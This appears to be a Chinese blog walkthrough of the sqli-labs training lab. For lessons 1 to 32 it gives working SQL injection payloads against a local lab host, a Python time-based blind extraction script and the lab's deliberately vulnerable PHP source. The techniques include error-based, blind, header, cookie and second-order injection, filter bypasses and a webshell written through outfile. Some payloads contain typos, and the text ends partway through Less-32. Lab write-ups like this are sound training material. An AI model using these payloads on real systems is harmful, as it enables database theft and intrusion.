sqli-labs大详解(完结)

sqlilabs详解(完结)

  • 题目
    • page-1
      • Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
      • GET - Error based - Intiger based (基于错误的GET整型注入)
      • Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
      • Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
      • Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
        • 关于时间的盲注
        • 还可以进行xpath注入
      • Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
      • Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
        • 所用函数
      • Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
      • Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
      • Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
      • Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
      • Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
      • Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
        • 报错注入
        • 常规注入
      • Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
      • less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
      • Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
      • Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
      • Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
      • Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
      • Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
    • page-2
      • Less-21 Cookie Injection- Error Based- complex - string
      • Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
      • Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
      • Less - 24 Second Degree Injections *Real treat* -Store Injections (二次注入)
      • Less-25 Trick with OR & AND (过滤了or和and)
      • Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
      • Less-26 Trick with comments and space (过滤了注释和空格的注入)
      • less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
      • less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
      • less 27a GET - Blind Based- All your UNION & SELECT belong to us
      • less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
      • less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
      • Less-29 基于WAF的一个错误
      • Less-30 Get-Blind Havaing with WAF
      • Less-31 Protection with WAF
      • Less-32 Bypass addslashes()
      • Less-33 Bypass addslashes()
      • Less-34 Bypass Add SLASHES
      • Less-35 why care for addslashes()
      • Less-36 Bypass MySQL Real Escape String
      • Less-37- MySQL_real_escape_string
    • page-3
      • Less-38 stacked Query
      • Less-39 stacked Query Intiger type
      • Less-40 stacked Query String type Blind
      • Less-41 stacked Query Intiger type blind
      • Less-42 - Stacked Query error based
      • less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
      • Less-44 - Stacked Query blind
      • less-45 基于报错的password处的')闭合注入
      • less-46 ORDER BY-Error-Numeric
      • Less-47 - ORDER BY Clause-Error-Single quote
      • Less-48 - ORDER BY Clause Blind based
      • Less49 - ORDER BY Clause Blind based
      • Less50 - ORDER BY Clause Blind based
      • Less-51 - ORDER BY Clause Blind based
      • Less-52 - ORDER BY Clause Blind based
      • Less-53 - ORDER BY Clause Blind based
    • Page-4
      • Less-54:Challenge-1
      • Less-55:Challenge-2
      • Less-56:Challenge-3
      • Less-57:Challenge-4
      • Less-58:Challenge-5
      • Less-59:Challenge-6
      • Less-60:Challenge-7
      • Less-61:Challenge-8
      • Less-62:Challenge-9
      • Less-63:Challenge-10
      • Less-64:Challenge-11
      • Less-65:Challenge-12

题目

page-1

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

sqli-labs大详解(完结)_第1张图片
sqli-labs大详解(完结)_第2张图片

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

常规注入,order by 4不行,order by 3 可以
然后,我们看看回显位置
如下是源码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "";
  	echo 'Your Login name:'. $row['username'];
  	echo "
"
; echo 'Your Password:' .$row['password']; echo "
"
; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
他直接获取了我们的id,填了进去,那么我们闭合前面的引号,注释后面的语句

$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 --+' LIMIT 0,1";

这是最后的语句
sqli-labs大详解(完结)_第3张图片
我们查看他的数据库,security数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

sqli-labs大详解(完结)_第4张图片
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
sqli-labs大详解(完结)_第5张图片

我们查询他的字段
然后我们查询他的值,
sqli-labs大详解(完结)_第6张图片
查询密码
sqli-labs大详解(完结)_第7张图片

GET - Error based - Intiger based (基于错误的GET整型注入)

sqli-labs大详解(完结)_第8张图片
这里我们没有加入单引号
及为整形
sqli-labs大详解(完结)_第9张图片
源码这里和上面第一题,有明显不同
sqli-labs大详解(完结)_第10张图片
其余注入和第一题完全一致

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

sqli-labs大详解(完结)_第11张图片
查看源码我们发现
如果我们正常注入时,总归括号不能合并,那么我们
sqli-labs大详解(完结)_第12张图片

http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+

这样,语句就被我们闭合

  $sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";

其余注入和第一题讲解一致

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

sqli-labs大详解(完结)_第13张图片
那么我们考虑如何将前面的闭合
sqli-labs大详解(完结)_第14张图片

http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+

那么我们闭合完成的语句是
在这里插入图片描述
其余和第一题注入一致

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

sqli-labs大详解(完结)_第15张图片
sqli-labs大详解(完结)_第16张图片
sqli-labs大详解(完结)_第17张图片
正常闭合,显示正确
我们如果看到这样的报错信息,首先想到的就是布尔型盲注、报错型注入、时间延迟型盲注了,可以看他浏览器的反应来判断,这类型直接拿sqlmap跑就行,这里手工仅仅简单注入一下,毕竟这个工程量很大,

关于时间的盲注

sqli-labs大详解(完结)_第18张图片
可以发现有明显延迟
sqli-labs大详解(完结)_第19张图片
我们可以盲注,?id=1' and length(database())=8
=8正好,一般情况需要考虑
>8 <8

接下来我们就可以使用一位一位的判断
可以自己写脚本,也可以burp

# coding:utf-8
import requests
import datetime
import time

# 获取数据库名长度


def database_len():
    for i in range(1, 10):
        url = "http://127.0.0.1/sqli-labs/Less-5/index.php"
        payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
        # print(url+payload+'%23')
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            print(i)
        else:
            print(i)
            break
    print('database_len:', i)

#获取数据库名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = "http://127.0.0.1/sqli-labs/Less-5/index.php"
            payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
            #print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=3:
                name += i
                print(name)
                break
    print('database_name:', name)


if __name__ == '__main__':
    database_name()

sqli-labs大详解(完结)_第20张图片
在这里插入图片描述
?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
暴表:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
爆列:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))

还可以进行xpath注入

因为这里并不是完全的无回显,所以我们试试updatexml报错注入
sqli-labs大详解(完结)_第21张图片
http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+,database()处可换成任意SQL语句。
sqli-labs大详解(完结)_第22张图片

测试:http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+

报错: XPATH syntax error: ‘^Dumb~Dumb,Angelina~I-kill-you,D’ ,此时出现了一个小问题,我闷尝试这把所有内容爆出来,但是这里显示不全?原因就是我们的concat(0x5e,1,0x5e),如果完整的话,那么出现的内容两边必有^(0x5e).所有这个右边还有内容没报错出来。

我们可以用substr函数,截取,最后在拼接。http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+

可将substr函数里的1处依次加31.(因为每次只能查出31为字符)
sqli-labs大详解(完结)_第23张图片

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

sqli-labs大详解(完结)_第24张图片
查询了第一个,输入的id使用“包裹,其余和第五关一致
所以只需要我们换成双引号即可

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

sqli-labs大详解(完结)_第25张图片
当我们准备闭合语句时候,
发现1'))可以闭合
sqli-labs大详解(完结)_第26张图片
发现有三列
sqli-labs大详解(完结)_第27张图片
我们将my.ini进行修改后,可以进行写入文件
再经过一系列修改之后终于可以了,
帮忙踩个坑,这里我们修改secure时候记得重启电脑,因为phpstudy自己的bug,这里我们写入一句话连接即可

sqli-labs大详解(完结)_第28张图片

sqli-labs大详解(完结)_第29张图片

所用函数

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

sqli-labs大详解(完结)_第30张图片
当我们输入1‘时,发现闭合
没有回显,我们试试盲注
sqli-labs大详解(完结)_第31张图片
因为本地比较慢,,同时延时5秒,因此延迟了
而且她第一个字符是s
sqli-labs大详解(完结)_第32张图片
可以看到有明显差别
sqli-labs大详解(完结)_第33张图片

或者我们可以使用ascii码来进行查找
http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+
从1-128,
substr的话从第一位取一个,到第八位取一个
其他同less5

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

sqli-labs大详解(完结)_第34张图片
发现这样的时间的盲注仍然可行~
那么结果就同less5了

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

sqli-labs大详解(完结)_第35张图片
其余同9喽~

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

sqli-labs大详解(完结)_第36张图片
sqli-labs大详解(完结)_第37张图片
使用万能密码时可以登录
admin' or 1 #)
是一个dump用户,当然admin也可以登录
sqli-labs大详解(完结)_第38张图片
这儿是有回显的注入
我们试试喽~
POST
sqli-labs大详解(完结)_第39张图片
发现只有2成立,3就不能正常了
sqli-labs大详解(完结)_第40张图片
发现回显12
sqli-labs大详解(完结)_第41张图片
我们正常查询即可~~~~

报错注入
uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

sqli-labs大详解(完结)_第42张图片
发现闭合喽

sqli-labs大详解(完结)_第43张图片
其余同less11

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

sqli-labs大详解(完结)_第44张图片
单引号报错,发现可以闭合,')
因为我们登陆成功时并没有发现任何回显,
sqli-labs大详解(完结)_第45张图片

报错注入

我们可以进行报错注入,
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+
报错注入讲解,见另外一篇sql基础总结
sqli-labs大详解(完结)_第46张图片

常规注入

我们使用基于时间的盲注,同1-10关的,只是在burp里修改即可

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

sqli-labs大详解(完结)_第47张图片
本地延迟比较高,我们时间使用多一点,因为她没有回显,只能用盲注了
方法2
报错注入
uname=uname=admin" and extractvalue(1,concat(0x7e,(select database())))--+
sqli-labs大详解(完结)_第48张图片

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

sqli-labs大详解(完结)_第49张图片
我们接着尝试万能密码
123' or 1 #
登录成功说明他是单引号闭合
我们使用admin’ and sleep(10) # 基于时间的盲注,其他的话就是用if喽,跟上面情况一致

sqli-labs大详解(完结)_第50张图片

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

与15关相同关闭了报错提示,但可以根据页面的回显来判断。

当测试到admin") #时页面显示登陆成功,所以闭合方式为双引号括号"),如果不知道用户名可以这样测试, 123") or 1 #

本关依旧是可以进行布尔盲注和时间盲注。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

sqli-labs大详解(完结)_第51张图片
这里是修改密码的页面

$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

我们可以看到,用户名被check_input 包裹了,
而密码没有

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

这是他的检查函数
传入的值首先只会提取,前15 位

  • get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置

如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。magic_quotes_gpc开启时用于在预定义字符(单引号、双引号、斜杠、NULL)前加上反斜杠,

5.4.0 始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中移除了。

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "
"; //echo 'Your User Agent is: ' .$uagent; // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "
"; echo 'Your Password:'. $passwd; echo "
"; echo 'Your User Agent String:'. $uagent; echo "
"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo ''; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo ""; //echo "
"; echo ''; echo 'Your User Agent is: ' .$uagent; echo ""; echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } } ?>

sqli-labs大详解(完结)_第52张图片

打开发现存在ip的回显,可能就是user-agent存在注入吧,我们查看代码
sqli-labs大详解(完结)_第53张图片
我们发现,它本身过滤的很好,但是在uagent的地方,直接进行了获取,直接进行了输出
sqli-labs大详解(完结)_第54张图片
同时进行了数据库的写入,
发现是单引号的闭合
sqli-labs大详解(完结)_第55张图片
我们burp试试看,登录成功后,果然是UA可以进行注入,并回显

发现并没有我们想要的结果,那么我们尝试报错注入
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
sqli-labs大详解(完结)_第56张图片
将后面注释,同时闭合,然后执行我们的报错

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

sqli-labs大详解(完结)_第57张图片

和上面比较相似,只不过是在referer处的回显

";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "
"; //echo 'Your User Agent is: ' .$uagent; // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "
"; echo 'Your Password:'. $passwd; echo "
"; echo 'Your User Agent String:'. $uagent; echo "
"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'Referer:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo ''; $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo ""; //echo "
"; echo ''; echo 'Your Referer is: ' .$uagent; echo ""; echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } } ?>

在这里插入图片描述

他将ip和referer,进行了输出,

sqli-labs大详解(完结)_第58张图片

输入单引号,发生了报错
sqli-labs大详解(完结)_第59张图片
1' and extractvalue(1,concat(0x7e,(database()),0x7e)) and '
因为不知道他的前后有几个参数,所以我们使用and进行连接,

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

sqli-labs大详解(完结)_第60张图片
我们登陆后就会返回一个充满东西的页面

 Welcome    Dhakkan 
"; echo "
"; echo "
"; echo ""; echo '
'; echo '
Username :    '; echo '
'; echo '
Password :      '; echo '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '



'; echo ''; echo '
'; function check_input($value) { if(!empty($value)) { $value = substr($value,0,20); // truncation (see comments) } if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled { $value = stripslashes($value); } if (!ctype_digit($value)) // Quote if not a number { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } echo "
"; echo "
"; if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); $cookee = $row1['username']; if($row1) { echo ''; setcookie('uname', $cookee, time()+3600); header ('Location: index.php'); echo "I LOVE YOU COOKIES"; echo ""; echo ''; //echo 'Your Cookie is: ' .$cookee; echo ""; echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } } echo "
"; echo ''; echo '
'; } else { if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "
"; echo '


'; echo ''; echo "

"; echo '
'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "
"; echo ''; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "
"; echo ''; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
"; echo ''; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); echo "
"; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo ''; echo 'Your Login name:'. $row['username']; echo "
"; echo ''; echo 'Your Password:' .$row['password']; echo "
"; echo "
"; echo 'Your ID:' .$row['id']; } else { echo "
"; echo '


'; echo ''; echo "

"; //echo ''; } echo '
'; echo '
'; echo ''; echo '
'; echo '
'; } else { echo '
'; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo ''; echo " Your Cookie is deleted"; setcookie('uname', $row1['username'], time()-3600); header ('Location: index.php'); echo '

'; } echo "
"; echo "
"; //header ('Location: main.php'); echo "
"; echo "
"; //echo '
'; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'Cookie:'.$cookee."\n"); fclose($fp); } ?>

sqli-labs大详解(完结)_第61张图片
这里将我们的各种信息进行了输出

sqli-labs大详解(完结)_第62张图片
这里使用我们的cookie进行了数据库的查询
那么我们应该从这里入手
sqli-labs大详解(完结)_第63张图片
输入单引号,发生了报错
sqli-labs大详解(完结)_第64张图片

但是我们闭合,注释,以后,发现它只是进行了回显而已
sqli-labs大详解(完结)_第65张图片
可以进行,
到4 发现报错,
sqli-labs大详解(完结)_第66张图片

我们让查询失败,同时查看我们的占位符
123的位置
其后与之前查询一致。
sqli-labs大详解(完结)_第67张图片
-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

page-2

Less-21 Cookie Injection- Error Based- complex - string

sqli-labs大详解(完结)_第68张图片
我们发现cookie变为了base64编码的,但是却可以正常显示,那么我们将上一关的payload base64编码试试
sqli-labs大详解(完结)_第69张图片
查看源码,发现,这里进行了base64的加密,
sqli-labs大详解(完结)_第70张图片
解码同时,使用了(‘’)单引号,
sqli-labs大详解(完结)_第71张图片
成功回显,
sqli-labs大详解(完结)_第72张图片

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

sqli-labs大详解(完结)_第73张图片
根据题目,我们加入双引号,base后,发现报错,进而可以更加确定,
sqli-labs大详解(完结)_第74张图片
根据源码我们发现,使用双引号我们可以完成闭合,
"SELECT * FROM users WHERE username=-admin" union select 1,2,database()# LIMIT 0,1"
相当于之后的注释掉,然后,查询之前的,union语句

sqli-labs大详解(完结)_第75张图片

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

sqli-labs大详解(完结)_第76张图片
输入单引号,获得报错,
sqli-labs大详解(完结)_第77张图片
开幕雷击中,他这里将注释符过滤了,
但是我们查看他的sql语句,

sqli-labs大详解(完结)_第78张图片
我们可以使用单引号进行闭合,(单引号内的不会被执行)
"SELECT * FROM users WHERE id='1' and '1'='1 ' LIMIT 0,1"

tips:这里我必须是url编码才可以进行
/sqli-labs/Less-23/?id=2%27%20and%20%20%271%27=%27
sqli-labs大详解(完结)_第79张图片
可以正常运行,
可是这时候我们不能使用order by 进行检测了,我们可以使用union select 一个一个来,到4发现不行了,
sqli-labs大详解(完结)_第80张图片
SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1' LIMIT 0,1

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

sqli-labs大详解(完结)_第81张图片
他本身是一个完整的界面,
sqli-labs大详解(完结)_第82张图片
登陆界面,
sqli-labs大详解(完结)_第83张图片
转义了特殊字符,
sqli-labs大详解(完结)_第84张图片
创建新用户,这里也进行了转义
但是,修改密码的地方并没有过滤,那么我们可以进行二次注入

sqli-labs大详解(完结)_第85张图片
那么我们注册一个admin '# 虽然他是转义了,但是仍然在数据库中仍然存好了,
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";
这里查询了username=admin,同时注释了后面的语句
那么我们直接修改密码即可,也就相当于修改了admin的密码
sqli-labs大详解(完结)_第86张图片
sqli-labs大详解(完结)_第87张图片

Less-25 Trick with OR & AND (过滤了or和and)

sqli-labs大详解(完结)_第88张图片
我么发现他的语句被过滤了,sqli-labs大详解(完结)_第89张图片
因为过滤了or,我们双写即可
sqli-labs大详解(完结)_第90张图片
sqli-labs大详解(完结)_第91张图片
将我们的and也进行双写绕过,
这里进行了匹配or和and,置换为空
在这里插入图片描述

Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)

sqli-labs大详解(完结)_第92张图片
我们发现,数字型的过滤了or和and,我们双写即可,其他同之前的步骤

sqli-labs大详解(完结)_第93张图片
不需要单引号进行包裹

Less-26 Trick with comments and space (过滤了注释和空格的注入)

sqli-labs大详解(完结)_第94张图片
发现双引号不报错,单引号报错,说明应该使用单引号闭合
在这里插入图片描述
sqli-labs大详解(完结)_第95张图片
我们发现,他将空格和 and 都过滤了,
and 我们可以进行双写,空格该怎么办?
我们熟知的有:
/**/ () + ` \t
可是都不行,
他的过滤很多
sqli-labs大详解(完结)_第96张图片

sqli-labs大详解(完结)_第97张图片
我们可以使用url编码绕过

%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过

那么我们使用报错注入
sqli-labs大详解(完结)_第98张图片
sqli-labs大详解(完结)_第99张图片
当然,单引号闭合也可以。

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

sqli-labs大详解(完结)_第100张图片
关闭了详细的报错,但是盲注仍然可以找出来,使用’)即可

sqli-labs大详解(完结)_第101张图片
其余的同上一关

less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

sqli-labs大详解(完结)_第102张图片
这一关多过滤了union和select ,我们可以使用大小写绕过
sqli-labs大详解(完结)_第103张图片
在这里插入图片描述
sqli-labs大详解(完结)_第104张图片
测试后发现%0A可以当作括号
成功回显

less 27a GET - Blind Based- All your UNION & SELECT belong to us

sqli-labs大详解(完结)_第105张图片
这里他把报错关了,语句由上一关的单引号,变成了无单引号,经过测试,可以通过双引号进行闭合。
sqli-labs大详解(完结)_第106张图片

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入

sqli-labs大详解(完结)_第107张图片
这里是主要是匹配了union select 还有select,其余和上面的相同

sqli-labs大详解(完结)_第108张图片
双写绕过即可

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

这个还比上面的简单一点,他只过滤了union select其余的过滤都放开了
sqli-labs大详解(完结)_第109张图片
sqli-labs大详解(完结)_第110张图片
(很气,29-31被blog吃了,只能重写一遍)

Less-29 基于WAF的一个错误

HTTP参数污染(HTTP Parameter Pollution) 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击

sqli-labs大详解(完结)_第111张图片

sqli-labs大详解(完结)_第112张图片
转自聂哥
http参数污染,见sql注入总结的HTTP参数污染即可,

上面已经说过,waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容

我们的后端是apache,那么我们只要将参数放在后面即可
sqli-labs大详解(完结)_第113张图片

Less-30 Get-Blind Havaing with WAF

同如上的方法,只不过这里换成了双引号而已
sqli-labs大详解(完结)_第114张图片
sqli-labs大详解(完结)_第115张图片

Less-31 Protection with WAF

sqli-labs大详解(完结)_第116张图片
与上面一致,只不过换成了“)来闭合
$sql="SELECT * FROM users WHERE id= ("$id") LIMIT 0,1";
sqli-labs大详解(完结)_第117张图片

Less-32 Bypass addslashes()

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

函数preg_quote
sqli-labs大详解(完结)_第118张图片
这里的使用方法是这个
sqli-labs大详解(完结)_第119张图片
将单引号,双引号转换为了\\,\i表示不区分大小写
sqli-labs大详解(完结)_第120张图片
将字符集设置成了gbk
才可以进行宽字节注入
sqli-labs大详解(完结)_第121张图片
我们发现他都是被转义的
因为数据库是gbk编码,那么,我们可以进行宽字节注入了
我们尝试%df',然后将浏览器编码改为gbk,我们可以看到,他变成了汉字

